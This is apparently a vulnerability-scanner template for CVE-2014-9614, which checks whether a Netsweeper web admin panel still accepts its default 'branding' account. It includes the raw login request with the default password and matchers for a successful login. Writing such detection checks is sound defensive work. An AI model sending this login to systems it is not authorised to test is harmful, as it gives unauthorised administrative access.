CVE-2014-9614: Netsweeper 4.0.5 - Default Weak Account

id: CVE-2014-9614

info:
  name: Netsweeper 4.0.5 - Default Weak Account
  author: daffainfo
  severity: critical
  description: The Web Panel in Netsweeper before 4.0.5 has a default password of 'branding' for the branding account, which makes it easier for remote attackers to obtain access via a request to webadmin/.
  impact: |
    An attacker can gain unauthorized access to the Netsweeper 4.0.5 system using the default weak account.
  remediation: |
    Change the default credentials to strong and unique ones.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9614
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-9614
    cwe-id: CWE-798
    epss-score: 0.68706
    epss-percentile: 0.99304
    cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,cve,netsweeper,default-login,packetstorm,xss,vuln

http:
  - raw:
      - |
        POST /webadmin/auth/verification.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/webadmin/start/

        login=branding&password=branding&Submit=Login

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Location: ../common/'
          - 'Location: ../start/'
        condition: or

      - type: word
        part: header
        words:
          - 'Set-Cookie: webadminU='

      - type: status
        status:
          - 302
# digest: 4a0a004730450220787b0e98cc57eeda44747d51695552b1cc7ae35fb2a4354db609d9646f7d376e022100f57258633f3bf79dbe9cf223d43a8cd458d0fcb870d3d3edf463eeafa17cf700:922c64590222798bb761d5b6d8e72950

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